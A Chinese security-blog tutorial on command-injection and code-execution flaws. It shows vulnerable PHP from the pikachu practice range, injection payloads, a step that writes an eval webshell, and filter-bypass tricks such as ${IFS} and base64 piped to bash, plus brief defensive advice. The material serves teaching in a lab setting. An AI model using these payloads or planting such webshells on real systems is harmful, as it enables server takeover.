freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

WEB常见漏洞之命令执行
忘川丶 2023-02-02 21:03:15 162739
所属地 北京

0x01 漏洞概述

RCE(remote command/code execute),远程命令执行/代码执行。

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

0x02 pikachu 靶场

逻辑运算符

windows

"|": 管道符,前面命令标准输出,后面命令的标准输入"&": commandA & commandB 先运行命令A然后运行命令B"||": commandA || commandB 运行命令A,如果失败则运行命令B"&&": commandA && commandB 运行命令A,如果成功则运行命令B

linux

"|": 管道符,前面命令标准输出,后面命令的标准输入。例如:help |more"&": commandA & commandB 先运行命令A然后运行命令B"||": commandA || commandB 运行命令A,如果失败则运行命令B"&&": commandA && commandB 运行命令A,如果成功则运行命令B";": commandA && commandB执行完A执行B

一、源码(ping)

<?php$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);if ($SELF_PAGE = "rce_ping.php"){$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');}$PIKA_ROOT_DIR =  "../../";include_once $PIKA_ROOT_DIR . 'header.php';header("Content-type:text/html; charset=utf-8");$result='';if(isset($_POST['submit']) && $_POST['ipaddress']!=null){$ip=$_POST['ipaddress'];//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255if(stristr(php_uname('s'), 'windows')){//         var_dump(php_uname('s'));$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理}else {$result.=shell_exec('ping -c 4 '.$ip);}}?>

一个文本框,输入ip地址可以进行ping操作,查看源码,发现队输入的”ip“地址没有进行过滤1675341262_63dbadce4291031ff22cc.png!small?1675341262814

利用管道符就可以实现任意代码执行

先输入 127.0.0.1 看回显(验证是否可以ping本地)1675341283_63dbade35985efd3e6a3d.png!small?1675341284034

尝试直接利用逻辑运算符来进行简单利用(看是否有过滤)

payload:

127.0.0.1|dir

回显

1675341314_63dbae0232d1c14a2f29f.png!small?1675341314943

进一步进行漏洞利用

payload

127.0.0.1|ipconfig/all

1675341372_63dbae3c90bda9d5cf649.png!small?1675341373110

二、源码(exec "eval")

<?phpheader("Content-type:text/html; charset=utf8");$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);if ($SELF_PAGE = "rce_evel.php"){$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');}}$PIKA_ROOT_DIR =  "../../";include_once $PIKA_ROOT_DIR . 'header.php';$html='';if(isset($_POST['submit']) && $_POST['txt'] != null){if(@!eval($_POST['txt'])){$html.="<p>你喜欢的字符还挺奇怪的!</p>";}}?>

简单来说就是 eval() 函数可以执行PHP代码,然后PHP的system()函数可以执行系统命令,这样子远程代码执行就可以编程远程命令执行,输入 system("命令"),正常执行,可以访问到文件。

payload

txt=phpinfo();

回显

1675341432_63dbae7813605128535ee.png!small?1675341432945

可以看到 phpinfo(); 函数执行了

进一步利用(上传后门木马)

payload

fputs(fopen('shell.php','w'),'<?php @eval($_POST['hack']);?>');

利用效果

1675341464_63dbae98c92ccc065ba16.png!small?1675341465960

WEB后台管理工具连接(中国蚁剑)1675341491_63dbaeb39da752086ae18.png!small?1675341492141

连接成功

1675341523_63dbaed3832a992677f1c.png!small?1675341524240

0x03 绕过姿势

常见绕过姿势

绕过空格

<  --  重定向,如cat<flag.php<>      --   重定向,如cat<>flag.php%09  --  需要php环境,如cat%09flag.php${IFS}  --  单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php$IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

黑名单绕过

1. 拼接

a=c;b=at;c=flag;$a$b $ca=c;b=at;c=heb;d=ic;ab{c}{d}

编码(base64)

echo MTIzCg==|base64 -d 其将会打印123echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

编码(hex)

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

单引号和双引号绕过

ca''t flag 或ca""t flagca''t te""st.php

反斜杠绕过

ca\t fl\agcat te\st.php

绕过例题举例

空格绕过、cat绕过

<?phperror_reporting(0);if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c);}}else{highlight_file(__FILE__);}

payload

?c=passthru("tac%09f*");

单行多命令执行

<?phpif(isset($_GET['ip'])){$ip=$_GET['ip'];$a=shell_exec("ping -c 4 ".$ip);print_r($a);}else{highlight_file(__FILE__);}

payload

?ip=x;cat flag.php

截断绕过

<?phpif (isset($_GET['c'])) {$c = $_GET['c'];system($c . " >/dev/null 2>&1");} else {highlight_file(__FILE__);}?>

payload

?c=cat f*%0a

0x04 漏洞防御

尽量不要执行外部命令。使用自定义函数或者函数库来代替外部命令的功能。使用escapeshe||arg函数来处理命令参数。
safe_mode_exec_dir指定可执行文件的路径。(safe_mode_exec_dir指定路径时可以把会使用的命令提前放入此路径内.

# 命令执行 # 靶场 # 命令行 # 靶场复现
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 忘川丶 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
忘川丶 LV.5
潜心学习的小白
  • 20 文章数
  • 31 关注者
干货 | 公益SRC上分思路
2023-02-13
分享 | ChatGPT渗透教学(二)
2023-02-12
技术分享 密码加密的秘密
2023-02-11
文章目录